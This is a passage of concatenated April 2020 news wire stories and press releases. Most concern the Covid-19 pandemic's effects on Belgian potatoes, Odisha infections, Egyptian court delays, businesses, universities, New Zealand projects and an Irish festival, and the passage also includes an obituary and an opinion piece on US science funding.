surplus stock and avoid waste. In partnership with the Dutch-speaking Flemish region of Belgium, Belgapom set up a program to deliver 25 tons of potatoes a week to food banks. Businesses are working to export some of their supplies to Central Europe and Africa, where the demand remains high. The industry is also looking at working with starch factories to find other uses for excess potato stocks, such as feeding livestock or producing green electricity. Both France and Belgium claim to have invented fried string potatoes as a side dish. But the 'pomme frites" culture is stronger in Belgium, where people share a taste for beer with the chip-eaters in Britain. Belgians eat 38 kilograms (about 84 pounds) of fresh potatoes and 6-7 kilograms (13-15 pounds) of processed potatoes at home every year, according to Belgium's National Union of Fry-makers. But even if consumers unite in upping per capita consumption of fries, the potato sector won't emerge from the pandemic unscathed. Before the coronavirus reached Europe, the 2020 prospects looked bright for Belgium's potato industry, the world's largest exporter, following a 7.5% rise last year in the production of frozen fries. But the virus outbreak halted exports to China, then triggered a slowdown of potato sales across Europe as lockdown measures were implemented. After supermarkets saw shoppers grab all the potatoes they could hoard, demand quickly plummeted and kept falling with the closure of fast-food chains, according to Belgapom. Although Belgium is set to lift the home confinement order for most the country's 11.5 million people as soon as Saturday, no date has been set for restaurants to reopen. The outside shacks known as fritkoten where Belgians queue up day in and day out in normal times to buy their beloved fries, were allowed to remain open for takeaway orders during the national lockdown, but an estimated 80% stayed closed anyway after local authorities offered compensation for shuttered businesses. Pascal Vandersteegen, the manager at Chez Clementine, a popular fritkot in the south of Brussels, says he has witnessed a 30% loss in revenue because of restrictions imposed to address the virus. "Now, we have to close at 10 pm every day he said. We used to finish work at 1:30 am, and 6 am on Fridays. But we are an institution. It's been 30 years that we are here. If everybody closes, there won't be anything left. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The minister believes the restoration of a holistic Normandy mechanism with all its components is an important element to achieve peace in Ukraine. Ukrainian Foreign Minister Dmytro Kuleba speaks out in favor of regular meetings of the Normandy Four foreign ministers (Ukraine, Russia, Germany and France). "They shouldn't only be held like Easter celebrations, that is, once a year and in three versions of different [religious] calendars. This should be regular communication," he told an online briefing on April 28, as reported by an UNIAN correspondent. "[We suggest that] the logic be restored that was originally set in 2014 and has been embedded in the institutional arrangement to end the Russian aggression against Ukraine. So there is the Normandy format at the level of leaders [of the Normandy Four], who take fundamental strategic decisions. There is also a format of foreign ministers, who must regularly evaluate the dynamics of the process and give the appropriate impetus or make relevant adjustments. Moreover, there's a mechanism of foreign policy advisers who are also in contact and generate certain decisions. And yet, there's a mechanism of the Trilateral Contact Group [TCG on Donbas settlement], which is directly engaged in the final coordination of decisions, working out all the details and ensuring their implementation," he said. Read alsoUkraine's FM Kuleba reveals agenda of Normandy Four foreign ministers video summit on April 30 According to Kuleba, the TCG meetings and contacts of foreign policy advisers of the Normandy Four leaders are regular, while those between foreign ministers from a certain point have become sporadic, which is wrong, the top diplomat believes. "We need to restore the integrity of the whole mechanism so that all elements could work at maximum capacity to establish peace in Ukraine and stop the occupation of our territories," he stressed. "I'd like us to come up with such a format where a closer operational link is established between the TCG and the four ministers, so that the TGG informs the ministers of its meetings, their results, and decisions reached. This will allow ministers to respond more quickly to the dynamics of developments and, accordingly, to push the process forward," he said. The minister believes that the restoration of a holistic Normandy mechanism with all its components is an important element toward achieving peace in Ukraine. As UNIAN reported earlier, the so-called Normandy format meeting, which will be held via video link with the participation of the Normandy Four foreign ministers, was scheduled for April 30. With Odisha government on Tuesday releasing the infection-history of five Covid cases in Balasore district-- one of the three districts where cases are rising rapidly-- a 58-year-old man who had first tested positive 10 days ago, was being seen as the super-spreader in the state having infected 11 people so far, said health officials. The man, tagged case no. 61 in state health department records since April 18, is a 58-year-old from Neliabag area in coastal Balasore town and runs a private technical school. While six of his contacts including his son-in-law, daughter and grandson tested positive last week, today five others in Neliabag area who came in contact with one of his family members tested positive, said officials. The Neliabag area has been declared a containment zone since April 19 after the man tested positive. Among the 118 persons who have tested positive so far, case no 61 has infected the most. Many of the persons he infected may not have known about the infection as they did not show any symptoms for more than 14 days, said a health department official, requesting anonymity. The term super-spreader was first-time used for Patient number 31 in South Korea, a 61-year-old woman who attended church while being infected and triggered a surge in infection. Health department officials are amazed that the man transmitted the virus to only 11 people, considering that he had come in contact with 56 persons, a fortnight before he tested positive. Its quite possible that other people had more immunity and some of them may have been cured after mild infection. A detailed study would reveal it, said the official. Early this month, three brothers living in a housing complex in Bhubaneswars Bomikhal area had infected 15 people. Apart from these individual super-spreaders, the migrants who returned from Bengal have proved to be an effective group of super spreaders. Of the 118 positive cases so far, 42 persons had returned from Bengal over last 10 days forcing the government to seal 50-odd routes connecting the neighbouring State. For Coronavirus Live Updates The task of health officials in Odisha has been made difficult by cases that have remained asymptomatic for a long time, some even more than 14 days. In 90 per cent of the cases, the patients showed no symptoms. As this is a completely new virus of the coronavirus family and little is known about its physiology, social distancing and avoiding group gatherings effectively is the only way we can reduce the spread of the virus, said Bijoy Mohapatra, director of health services. The HT Guide to Coronavirus COVID-19 CAIRO - Hoda Nasrallah, a defence attorney for Patrick George Zaky, the Egyptian student at the University of Bologna who has been in pre-trial custody since his arrest in Egypt on February 7 on charges of subversive propaganda, told ANSA on Tuesday that a hearing on whether to prolong Zaky's pre-trial custody for another 15 days has been postponed "for one week" for the seventh time. Nasrallah said this postponement, like the others, is due to the coronavirus emergency and includes all the other cases on the judge's docket for Tuesday. It is therefore likely that Zaky, as on the previous occasions, wasn't brought to the prosecutor's office and remained in the "investigations" section of the prison in Tora, on the southeastern outskirts of Cairo. The second 15-day renewal of Zaky's pre-trial detention came one month after his arrest, and since that time the renewal hearing has been postponed six other times - three in March and three in April - due to the pandemic of Covid-19, which in Egypt has surpassed 4,780 cases and caused the deaths of nearly 340 people. For the past month in Egypt there has been an evening curfew in place, the country's airspace has been closed, and gathering places such as restaurants and mosques have also been closed. Prayer at mosques hasn't been permitted even during the Islamic holy fasting month of Ramadan, which started on Friday. Among the charges against Zaky, which are based on a Facebook account that the defence said is managed by others, are "spreading fake news", "incitement to protest", and "instigation of violence and terrorist crimes".(ANSAmed). COLORADO SPRINGS, Colo., April 28, 2020 /PRNewswire/ -- Outside The Breadbox (https://outsidethebreadbox.com), the first commercial gluten-free bakery in Colorado, today announced the launch of their online store (https://store.outsidethebreadbox.com). Their popular gluten-free bread, bagels, and crackers can now be ordered online and delivered directly to customers' doorsteps. Outside The Breadbox gluten-free bread, bagels, and cheddar crackers are now available via their online store. "People with food allergies are even more challenged to find the grocery items they need right now," said Erik Van Horn, owner of Outside The Breadbox. "To ensure our customers have access to allergen-free foods that are safe for them to eat, we launched eCommerce and increased our baking hours to make sure our partner stores can keep products on the shelves." The Outside The Breadbox online store currently offers three varieties each of Outside The Breadbox's gluten-free bread, bagels, and cheddar crackers, available in six-packs. Bread and bagel varieties include vegan, dairy-free, egg-free, and non-GMO options. Outside The Breadbox products are certified through the Gluten Free Certification Organization (GFCO https://gfco.org) and baked in their family-owned gluten-free, nut-free, and soy-free facility in Colorado Springs, CO. Free shipping is available but currently limited to certain zip codes, as logistics companies have temporarily suspended delivery timeframe guarantees. Outside The Breadbox is working hard to rapidly add more products to their online catalogue and expand free shipping zones as soon as possible. In the meantime, customers are able to place orders for a wider variety of gluten-free products via phone or email (https://outsidethebreadbox.com/where-to-buy/). A complete list of stores that carry Outside The Breadbox products can be found on their website (https://outsidethebreadbox.com/where-to-buy/store-locations/). To be alerted about specials and new additions to their online store, follow Outside The Breadbox on Facebook (https://www.facebook.com/OutsideTheBreadboxCO/) and Instagram (https://www.instagram.com/OTB_glutenfree/) and sign up for their newsletter on their website (https://outsidethebreadbox.com). About Outside The Breadbox Established in 2003, Outside The Breadbox is a family-owned gluten-free, nut-free, and soy-free bakery located in Colorado Springs, Colorado. The company supplies certified gluten-free products to local and regional grocery stores, through mail order, directly to customers at its Colorado Springs storefront, and now, via its online store (https://store.outsidethebreadbox.com). Outside The Breadbox was the first commercial gluten-free bakery in Colorado and, since its inception, has continued research and development with all-natural, clean ingredients to deliver allergen-free products that delight consumers with uncompromised taste. Their expanding product line includes gluten-free, vegan, and non-GMO breads and bagels, as well as cookies, crackers, pies, and pizzas. As they grow their business, the family remains dedicated to delivering only wholesome, delicious products to their customers' tables. In support of their local community, Outside The Breadbox donates baked goods to Marian House Soup Kitchen and Care and Share Food Bank. For more information, visit www.outsidethebreadbox.com, call 719-633-3434, or visit their retail location at 2027 West Colorado Avenue, Colorado Springs, CO, 80904. Contact: Allison Price 303-800-6364 SOURCE Outside The Breadbox Related Links https://www.outsidethebreadbox.com PR-Inside.com: 2020-04-28 23:07:34 Press Information Published by ACCESSWIRE News Network 888.952.4446 e-mail http://www.accesswire.com # 1001 Words ACCESSWIRE News Network888.952.4446 SANTA ROSA, CA and CALGARY, AB / ACCESSWIRE / April 28, 2020 / GABY Inc. ("GABY" or the "Company") (CSE:GABY) (OTCQB:GABLF), a California based consumer packaged goods company using cannabinoids (whole plant, isolates and distillates) as foundational ingredients in a range of wellness oriented branded products sold in the regulated cannabis sector in California as well as the mainstream grocery channel across the United States, today announces that it intends to rely on Alberta Securities Commission Blanket Order 51-517 Temporary Exemption from Certain Corporate Finance Requirements (the "Blanket Order") that allows GABY an additional 45 days in which to file its audited annual financial statements and management's discussion and analysis for the year ended December 31, 2019 (the "Annual Documents") required to be filed under section 4.2 and subsection 5.1(2), respectively, the delivery of such Annual Documents as required under subsection 4.6(3), 4.6(5), 5.6(1) and 5.6(3) and the delivery of annual request form required under subsection 4.6(1) of National Instrument 51-102 Continuous Disclosure Obligations due to the COVID-19 outbreak.The Company intends to file the Annual Documents on or shortly before June 15, 2020 and complete the delivery of the Annual Documents and the annual request form in compliance with the Blanket Order thereafter. Until such time as the Annual Documents are filed, the Company's management and other insiders are subject to a trading blackout that reflects the principles contained in section 9 of National Policy 11-207 - Failure-to-File Cease Trade Orders and Revocations in Multiple Jurisdictions.GABY confirms that there have been no material business developments since the date of the last interim financial statements that have been filed and copies of which are available on SEDAR at www.sedar.com GABY is a U.S.-focused, consumer packaged goods company operating a family of brands in the cannabis industry and in the mainstream grocery channel. Through its subsidiaries GABY indirectly holds licenses and permits issued by the California Department of Health, the California Bureau of Cannabis Control and the County of Sonoma for manufacturing, distribution, cultivation and nursery licenses with the California Department of Food and Agriculture. With these licenses and permits to operate in the cannabis channel, and its existing infrastructure, GABY has successfully brought a number of its proprietary, acquired and third-party brands to market in both the licensed and mainstream market.Margot and her sister Gabriella co-founded GABY after Gabriella received a dire cancer diagnosis which spurred the sisters to prolong Gabriella's life through a holistic approach to health and the use of alternative therapies. Although Gabriella ultimately passed away from her illness, she lived exponentially longer than doctors predicted. Her memory and passion live on through GABY's mission: to empower people to live healthy lives without compromise.GABY's shares trade on the Canadian Securities Exchange ("CSE") under the symbol "GABY" and on the OTCQB under the symbol "GABLF". For more information, visit www.GABYInc.com For further inquiries, please contact:GeneralMargot Micallef, Founder, Chair, President & CEO or Investor Relations at IR@ GABYinc.com or 800-674-2239.MediaColin Trethewey, APRcolin@ prmedianow.com 813-480-1354Disclaimer and Forward-Looking InformationCertain information set forth in this news release may contain forward-looking statements that involve substantial known and unknown risks and uncertainties, certain of which are beyond the control of the Company. Forward-looking statements are frequently characterized by words such as "plan", "continue", "expect", "project", "intend", "believe", "anticipate", "estimate", "may", "will", "potential", "proposed" and other similar words, or statements that certain events or conditions "may" or "will" occur. These statements are only predictions. Readers are cautioned that the assumptions used in the preparation of such information, although considered reasonable at the time of preparation, may prove to be imprecise and, as such, undue reliance should not be placed on forward-looking statements. Forward looking statements include, but are not limited to, the anticipated date of filing and delivery of the Annual Documents and delivery of the annual request form. The Company assumes no obligation to update forward-looking statements, whether as a result of new information, future events or otherwise, except as required by applicable law.Each of KJM Data and Research Inc., Sonoma Pacific Distribution, Inc., Raw Chocolate Alchemy, Inc. and 2Rise Naturals, Inc. are subsidiaries of GABY. Each of these subsidiaries hold cannabis licenses in either the State of California or the State of Arizona. Unlike in Canada which has Federal legislation uniformly governing the cultivation, distribution, sale and possession of medical cannabis under the Cannabis Act (Federal), readers are cautioned that in the United States ("U.S."), cannabis is largely regulated at the State level. Cannabis is legal in the State of California and has been legalized for medicinal use in the State of Arizona, however cannabis remains illegal under U.S. federal laws. Notwithstanding the permissive regulatory environment of cannabis at the State level, cannabis continues to be categorized as a controlled substance under the Controlled Substances Act in the U.S. and as such, cannabis-related practices or activities, including without limitation, the manufacture, importation, possession, use or distribution of cannabis are illegal under U.S. federal law. To the knowledge of the Company, the businesses operated by each of GABY's subsidiaries are conducted in a manner consistent with the State law of California or Arizona, as applicable, and are in compliance with regulatory and licensing requirements applicable in the State of California or Arizona, respectively. However, readers should be aware that strict compliance with State laws with respect to cannabis will neither absolve GABY, or its subsidiaries of liability under U.S. federal law, nor will it provide a defense to any federal proceeding in the U.S. which could be brought against any of GABY, or its subsidiaries. Any such proceedings brought against GABY, or its subsidiaries may materially adversely affect the Company's operations and financial performance generally in the U.S. market specific [April 28, 2020] Xantrion Named to ChannelE2E's Top Vertical Market MSPs: 2020 Edition OAKLAND, Calif., April 28, 2020 /PRNewswire/ -- Xantrion Inc.?is proud to announce that it?has been named to After Nines Inc.'s ChannelE2E Top 100 Vertical Market MSPs list and research for the second consecutive year ( http://www.channelE2E.com/top100 ). The annual list and research identify and honor the top 100 managed services providers (MSPs) in healthcare, government, financial services, manufacturing, legal, not-for-profit and additional vertical markets.? The Top 100 Vertical Market MSPs rankings are based on ChannelE2E's Q4 2019 and January 2020 readership survey, and ChannelE2E's vertical market industry coverage. MSPs featured throughout the list and research leverage deep vertical market expertise to drive annual recurring revenues (ARR) in specific market segments.? This year's research revealed several key MSP market trends. Among the Top 100 Vertical Market MSPs for 2020:? Honorees generated a combined $1.12 billion in vertical market annual recurring revenue (ARR) for 2019, up from $699 .1 million in 2018. The surge involved organic growth combined with aggressive merger and acquisition (M&A) activity. billion in vertical market annual recurring revenue (ARR) for 2019, up from .1 million in 2018. The surge involved organic growth combined with aggressive merger and acquisition (M&A) activity. The most successful vertical market MSPs are zeroing in on financial services and healthcare, while MSPs in the legal and manufacturing sectors also showed particularly strong growth. The Top 100 Vertical Market MSPs now manage more than 2.8 million users across their customer sites in 2019, up from 2.6 million in 2018. MSPs consider their top vertical market technology partners to be Microsoft (56%), Dell Technologies (22%), Cisco Systems (21%), Datto (19%), ConnectWise (11%) and ngram Micro (11%). "After Nines Inc. congratulates Xantrion, Inc. on this year's honor," said Amy Katz, CEO of After Nines Inc. "Vertical market MSPs are uniquely positioned to assist their customers with automation, cybersecurity, e-commerce and business recovery services during this challenging time for the global economy." The ChannelE2E Top 100 Vertical Market MSPs list and research are overseen by Content Czar Joe?Panettieri Find the online list and associated report here: http://www.channelE2E.com/top100 About Xantrion? Experts in cybersecurity and technical support, Xantrion provides outsourced IT services for midsized companies in the San Francisco Bay Area. Its team of IT experts brings impeccable technical and business skills to every assignment. Featuring an award-winning strategic approach, SOC2 Type II certified security practices, 24/7 help desk, fixed fees, and a 99.9% uptime record, Xantrion is a proven partner for managed IT and security services.? About After Nines Inc.? After Nines Inc. provides timeless IT guidance for strategic partners and IT security professionals across ChannelE2E ( www.ChannelE2E.com ) and MSSP Alert ( www.MSSPAlert.com ). ChannelE2E tracks every stage of the IT service provider journey from entrepreneur to exit. MSSP Alert is the global voice for Managed Security Services Providers (MSSPs).?? For sponsorship information contact After Nines Inc. CEO Amy Katz , [email protected] , For content and editorial questions contact After Nines Inc. Content Czar Joe Panettieri, [email protected] View original content to download multimedia:http://www.prnewswire.com/news-releases/xantrion-named-to-channele2es-top-vertical-market-msps-2020-edition-301048214.html SOURCE Xantrion Inc. [ Back To TMCnet.com's Homepage ] New Delhi, April 28 : Congress leader Jitin Prasada has posted a video on social media which shows him blowing a 'shankh (conch shell) at his home town in Uttar Pradesh. After blowing the conch shell, Prasada is seen explaining the benefits of 'shankhnaad', saying, "It is assumed since yesteryears that when the sound of conch is blown, no negative energy can come in the area." He said there is a scientific aspect to it as Covid-19 is a disease linked to the respiratory system and blowing conch shell can help strengthen the lungs. This way, coronavirus can be prevented though there is no scientific evidence to support the claim. Till now, there is no vaccine or cure to this dreaded virus except preventive mechanisms which can isolate the virus. The Centre is constantly providing PPE kits, testing kits, masks, medicines and all possible help to the states in the fight against Covid-19. Earlier on two occasions, on the appeal of Prime Minister Narendra Modi, people beat utensils and lit lamps to honour the corona warriors. Latest updates on Coronavirus (COVID-19) Classes that Click is a series spotlighting how Emory is adapting undergraduate courses to remote learning due to the COVID-19 pandemic. Each column will showcase one course, with insights and tips from both the professor and students. View more Classes that Click stories. Although studying from home was not how Michelle Mugo envisioned completing her senior year, her takeaways include lessons in adapting to change that will help carry her through life. History professor Clifton Crais also learned valuable lessons supported by his belief that the pandemic is helping us become better teachers, students and citizens. As the semester drew to a close, Crais wrapped up their time together in a special way for Mugo and her fellow seniors. At the end of our last full class I put on my academic gown, played Pomp and Circumstance and had all the seniors stand, he says. We all then clapped and said congratulations. And I think a few of us shed some tears. I know I did. Classes that Click is a series showcasing how Emorys commitment to stellar education continues during the COVID-19 pandemic and how many lessons learned will further enhance life at the university when everyone returns to classrooms together. Crais, professor of history and director of the Institute of African Studies, is joined by his teaching assistant, Georgia Brunner, and students Bronwen Boyd and Michelle Mugo from his Making of Modern South Africa class. The course: Making of Modern South Africa (History/African Studies 367) Making of Modern South Africa (HIST 367) introduces students to the history of South Africa from a society based on the principle of systematic racial segregation to a multiracial democracy. Topics include the origins of racial segregation and apartheid, nationalist struggles and the challenges of post-apartheid democracy. Moving toward remote learning How did you prepare for this phase of remote learning? Crais: I feel like I had a slight advantage. Just as the virus was spreading through China, we were discussing the 1918 influenza pandemic and its impact in South Africa. The more I read the news the more concerned I became. So, I strongly encouraged my students to take all their materials when they left for spring break. This meant that the majority of the class had their notes, books, etc., when we transitioned to remote teaching. Brunner: Dr. Crais and I rewrote the syllabus and changed the midterm and final exam. Boyd: It was difficult to figure out where I wanted to do my synchronous courses because I am living in a house with two educators who also need a quiet environment and strong internet connection. Because my dads work requires him to be on video calls most of the day, my mom and I had to share upstairs spaces. Mugo: I reorganized my room to create some study space. I prepared an Excel spreadsheet calendar to help me track the assignments, Zoom calls and other activities related to learning. What was one of your primary challenges in shifting to a remote format and how did you meet it? Crais: Everyone is naturally very anxious, and people deal with this in quite different ways. I have found it critically important to think about each and every student and to work with them individually. A student living in a large house is much different than a student in a small apartment caring for nieces while their aunt is working in the hospital. I have adopted a hybrid model of synchronous and asynchronous teaching. I tape my lectures so students can listen to them whenever they want. We also have two class periods of discussion, plus office hours. I also used Canvas very intensively, sending students messages almost daily, posting materials and staying connected. Ultimately, an overarching challenge is to teach effectively and to communicate why education and why an Emory education really matters in this state of emergency. This may be an especially important challenge to humanities and social sciences. I have tried to show how history matters and how we can make history even if we are stuck in our living rooms. Boyd: Working in the same environment where I was meant to be resting had pretty adverse effects on my mental health, especially in the first few weeks. It felt like even when I wasnt working, I had the anxieties of classwork and work for my job (which also moved online) weighing on me. After a while, I found a better balance by setting up a schedule with time allocated for each of these activities. Mugo: The main challenge was adjusting to studying at home again as I have not done that since high school. I like to study at the library or other environments and rarely stay in the same place for too long. Thus, being confined indoors was not ideal for studying. Changing locations around the house helped improve my concentration. An equally challenging factor was navigating study spaces in the house as my mum and brother are also studying and my dad is working from home. We had to make sure that two people were not in the same room having Zoom calls at the same time. Putting remote learning into practice What has been a pleasant surprise about remote learning? Crais: I am just amazed and so proud of how committed the students have been. They come to class prepared, have submitted some wonderful responses to the assigned reading and we have had some really great class discussions. Zoom has worked extremely well. The vast majority of students have been able to focus really well even as our minds are elsewhere. Boyd: Im surprised by how much more time I have for myself now that I dont have to go to classes physically. This has left me with far more time to take care of myself and do things that make me happy. Mugo: The work-life balance has been better than expected. I am putting more effort into prioritizing my mental health in order to cope with all that is happening around us and to do well with my studies. Remote learning has given me more flexibility with my schedule. How are you staying engaged with your students or classmates and professors? Crais: My wonderful teaching assistant, Georgia Brunner, also has been reaching out to students, meeting with them online and just demonstrating the importance of human decency. We also take attendance. If someone misses a class, we follow up. Brunner: Having regular class time I know is a challenge for students in other time zones but I do think that it helps keep up engagement. Boyd: I try to text and FaceTime my classmates outside of class, and Ive been periodically emailing my professors to try to stay on top of my work for class. Mugo: I attend Zoom class sessions as well as office hours so I can interact with my professors and classmates. My classmates arrange Zoom calls to talk about the material and help each other understand the concepts. We check up on each other and bond over the shared experience we are going through as we are still trying to come to terms with the reality of the situation. Lessons to be carried forward Whats one lesson youve learned during this transition, and how will you use it later? Crais: The importance of human contact and our common humanity, beginning with the simple act of looking into another persons eyes. I will renew my effort to develop a unique relationship with each and every student, no matter how large the class. Paradoxically, online teaching has taught me the importance of a residential college experience. We are learning new things about the world and about each other. We are going to come out of this crisis better teachers and better students and citizens. Brunner: Face time is key to engagement. I think encouraging students to come to office hours earlier in the semester will ensure that students have one-on-one contact, which really helps the student and instructor engage better. Boyd: Unless you set aside time for each of your tasks, it is difficult for your brain to separate work from rest. Ive also learned that it is important to exercise as often as you feel able. I think Ill be much better about getting my work done earlier in the day and leaving the evenings for myself as often as possible. Mugo: I have always been motivated and hardworking, but my self-discipline was tested during this transition. It was important to take breaks and allow myself to process and express my frustrations without letting it hinder my goals. It is okay for my routine to change and to adapt to the changes. While it is important to constantly improve, it is equally important to congratulate myself for every achievement, whether big or small. I am redefining what success looks like for me. In addition to focusing on the universitys educational mission, Emory experts are on the front lines of the pandemic caring for patients, researching possible treatments and vaccines and sharing knowledge to help inform and prepare the public. Visit Emorys COVID-19 page for the latest updates. At alert level 3, more than 60 projects representing $439.8 million worth of investment are expected to get going again. The purpose of the Provincial Growth Fund (PGF) has always been to stimulate regional economies and create sustainable employment. That purpose is even more critical now, in these unprecedented circumstances created by the COVID-19 pandemic. Our regions will play a vital role in the recovery of the national economy so it is crucial we get people back to work safely as soon as possible and for PGF projects to continue to be rolled out, Shane says. The Provincial Development Unit has so far approved funding for more than 470 projects. While they are all at different stages, and not all involve physical works, they will all pump funds into their local economies, create jobs and revitalise their communities. Work on PGF-funded projects that will get underway again under alert level 3 includes construction, manufacturing, horticulture, engineering and aquaculture. In Northland, for example, construction will recommence on major construction projects such as like the Kaipara roading package, the Hundertwasser Art Centre in Whangarei and water storage projects. On the West Coast, work will resume on repairs to 300m of Westport Airport seawall which was damaged by ex-Cyclone Fehi in 2018. In Taranaki, work resume on track improvements on the Taranaki Crossing. In addition, Rotorua Whakarewarewa Forest Project and Northlands Waitangi Mountain Bike Park are seeking extra staff to help clear tracks that have overgrown during lockdown, Shane says. Due to the strict health and safety protocols required under level 3, including appropriate social distancing, some projects wont be back to full capacity from day one, but the PDU will continue to work with their project partners to accelerate work that stalled during lockdown. Meanwhile, the PDU is continuing to work through applications and projects to see where PGF money can be repurposed for initiatives that can contribute quickly to an economic recovery in the regions. The PDU is focused on helping existing projects to accelerate their rollout. Where progress is not likely in the immediate future consideration will be given to terminating contracts to allow funds to be better used. I expect to be able to take proposals for these repurposed funds to my Cabinet colleagues shortly, Shane says. In addition to the PGF, the Infrastructure Industry Reference Group, led by Crown Infrastructure Partners chairman Mark Binns, is continuing to whittle down a list of more than 2000 proposals totalling $125 billion that have been received since we put a call out for applications for shovel-ready projects. Ministers are expected to receive a shortlist of potential pipeline projects in the next fortnight with the aim of getting them started as soon as possible. According to the FAO, global consumption of farmed seafood has surpassed wild seafood and aquaculture is one of the fastest growing food producing sectors in the world. Fish oil is a critical nutrient in the feed for many farmed fish since it is the only source of important long chain omega-3s (EPA and DHA fatty acids). As fish farming continues to grow, fish oil supplies are not expected to keep up with this growth. Recognizing this looming resource constraint, scientists at Corbion turned to the original source of long chain omega-3s marine microalgae. AlgaPrime DHA is a clean and sustainable source of long chain omega-3s from algae that contains approximately three times the level of DHA of fish oil. AlgaPrime DHA is sustainably produced through fermentation with a production system powered by renewable energy. Due to Corbion's scale of production of AlgaPrime DHA, this new source of long chain omega-3s has become economically affordable for salmon farmers, the major consumer of long chain omega-3s. This game changing innovation helps farmers meet the growing demand for salmon and increase omega-3 levels in fish, without putting more pressure on marine fisheries. "Aquaculture is becoming an increasingly important contributor to the global food system. To meet the continuing growth in demand for fish oil and fish meal, sustainable alternatives are needed," says Dr. Piers Hart, Seafood and Aquaculture Specialist, World Wildlife Fund, UK. "The adoption of algae omega-3s in salmon feed has been a breakthrough for aquaculture and reduces the pressure on forage fisheries and the ocean environment." The Fast Company World Changing Ideas Honorable Mention Award for AlgaPrime DHA is the latest in a series of milestones that acknowledges the demand for algae-fed salmon among farmers, brands, retailers and consumers. "It can take years for the adoption of a novel ingredient to gain critical mass, and a key aspect of AlgaPrime DHA's success has come from our collaboration with salmon farmers and BioMar, the leading innovator in aquaculture feed," said Chris Haacke, Corbion's Global Aquaculture Lead. "Adopting such a new ingredient took real courage and a great deal of effort to ensure success. Over the past year, we've seen a tipping point in adoption to meet the growing demand for more sustainable and nutritious seafood at every point in the supply chain." Now in its fourth year, the annual Fast Company World Changing Ideas Awards program honors businesses, policies, projects and concepts that offer innovative solutions to the biggest issues facing humanity including transportation, education, food, politics, technology, and more. A panel of eminent judges selected winners, finalists and honorable mentions from a pool of more than 3,000 entries from across the globe. All of the finalists are highlighted in the May/June issue of the print magazine, which hits newsstands May 5. About Corbion Corbion is the global market leader in lactic acid, lactic acid derivatives, and a leading company in emulsifiers, functional enzyme blends, minerals, vitamins and algae ingredients. We develop sustainable ingredient solutions to improve the quality of life for people today and for future generations. For over 100 years, we have been uncompromising in our commitment to safety, quality, innovation and performance. Drawing on our deep application and product knowledge, we work side-by-side with customers to make our cutting edge technologies work for them. Our solutions help differentiate products in markets such as food, home & personal care, animal nutrition, pharmaceuticals, medical devices, and bioplastics. In 2019, Corbion generated annual sales of 976.4 million and had a workforce of over 2,000 employees. Corbion is listed on Euronext Amsterdam. For more information: www.corbion.com For more information, please contact: Press: [email protected] SOURCE Corbion Related Links http://www.corbion.com Not a rose garden: 2019 Rose of Tralee Sinead Flanagan will keep the title for another year. Photo: Steve Humphreys The Rose of Tralee festival has been postponed for the first time in its history because of the Covid-19 crisis. Organisers confirmed the popular festival - the largest annual tourism event in Kerry - will not take place until August 2021 because of the pandemic. Festival boss Anthony O'Gara said it was "the right decision in the circumstances". Many of the festival's former winning Roses are now engaged in the frontline battle against the virus, including reigning Rose Sinead Flanagan (28) who is working as a doctor while studying for a Masters. She will now also serve as the 2020 Rose of Tralee. "She can't celebrate as a reigning Rose so by extending her reign for 2020 it will also give her the opportunity to celebrate as she should," Mr O'Gara said. The Tralee event has been cancelled for the first time in 61 years and will next be staged in August 2021. Across the world, Rose selections had only been in progress with just a single contestant, Ohio Rose Christine Smyth in the US, selected for the Tralee event this year. Any selections made this year are expected to automatically carry over to the 2021 event. The Rose festival is hosted by RTE presenter Daithi O Se and he will also be in situ for next year's event. Kerry hoteliers admitted that the cancellation represents an economic disaster for the county with the festival estimated to be worth more than 50m in spending, overseas publicity and follow-on tourism. "It is like a kick in the teeth to a sector that was already on its knees," one hotelier said. "The Rose event was the one major hope for a late-season bookings boom, particularly amongst Irish holidaymakers if travel restrictions were to be eased." The Rose event is worth 20m directly to the local Kerry economy. The Rose of Tralee traces its history back to the old Tralee Carnival Queen but was effectively resurrected as a modern event following a meeting of Kerry businessmen in 1957. The inaugural International Rose of Tralee was hosted in 1959. It had a launch budget of just 750 but quickly grew to become arguably the highest-profile Irish festival in the US, UK and Australia. A key element of the festival's success has been its celebration of the Irish diaspora, with emigration to countries in the Middle East, Eastern Europe and Asia reflected by Rose entries. To date, 300,000 has been spent on preparing for the 2020 festival which will not now go ahead. "It will be a financial challenge next year but we will try and make it up. We are optimistic and we will quietly work away," Mr O'Gara added. He said the festival team will now focus on supporting the national battle against Covid-19. "We have done a lot of fundraising for charities down through the years and we hope we can do some good again. We will focus on what the Rose family can do this year." The Mayor of Tralee, Councillor Jim Finucane, said the cancellation - while not a surprise given the circumstances facing Ireland - was nonetheless very disappointing. August 21, 1959 April 23, 2020 Our precious daughter, sister, mother, wife, and friend Deborah Lee Hendrick went to be with The Lord on Thursday, April 23, 2020. She bravely and valiantly "fought the good fight." She was a member of First Christian Church in Roanoke, Virginia. Until her last breath, Deb was a free spirit who spoke her mind and never met a stranger. She attended Roanoke City Public Schools and proceeded to graduate from Oak Hill Academy in Mouth of Wilson, Virginia. Her love of cooking and vibrant personality led her to her first job at Davis Pizza and later Shuckers downtown. Deb gave a special piece of herself to all the lives she touched. Her tremendous love of plants and green thumb inspired others to learn her craft. She loved drives through the creeks and mountains with her family and friends. She enjoyed camping, sitting by a fire, and the beauty of the outdoors. Her adventurous spirit led her to live in Florida on two different occasions. She loved the ocean breeze and the Florida sunshine. She was a collector of all things she thought were interesting, crafts, rocks, even random plants on the side of the road. There will be a viewing held at Valley Funeral Home on Wednesday April 29, 2020, from 12 until 2 p.m. A private family service will be held following the viewing. Due to current virus concerns, this service will be streamed live for those who would like to watch from their vehicle. Arrangements by Valley Funeral Home. The European Large Hadron Collider, a symbol of America's withdrawal from basic research. (CERN) Among the many ways that the coronavirus crisis has exposed America's decline as a world leader, one that has gotten insufficient attention is the federal government's decline as a supporter of scientific research. One can look at the consequences in several different ways. One certainly is the collapse of the American healthcare infrastructure in the face of a challenge that could more easily have been met with even minimally competent federal technological leadership. Another is the government's ceding responsibility for basic research to private enterprise, which doesn't like to do much of it. Then there's the politicization of science, which undermines institutional research and drains government programs of talented researchers. Increasingly, as U.S. science investment stagnates, some of these breakthroughsboth in fundamental research and in practical applicationsare occurring outside the United States. MIT, "The Future Postponed" The topic of America's scientific preparedness has been receiving an airing lately against the backdrop of the pandemic. Conservative economist Alex Tabarrok calls "the failure to spend on actually fighting the virus with science...mind boggling" and "a stunning example of our inability to build." (He frets that we spend too much on defense and "welfare," meaning Social Security, Medicare and Medicaid and not enough on "innovation.") Venture financier Marc 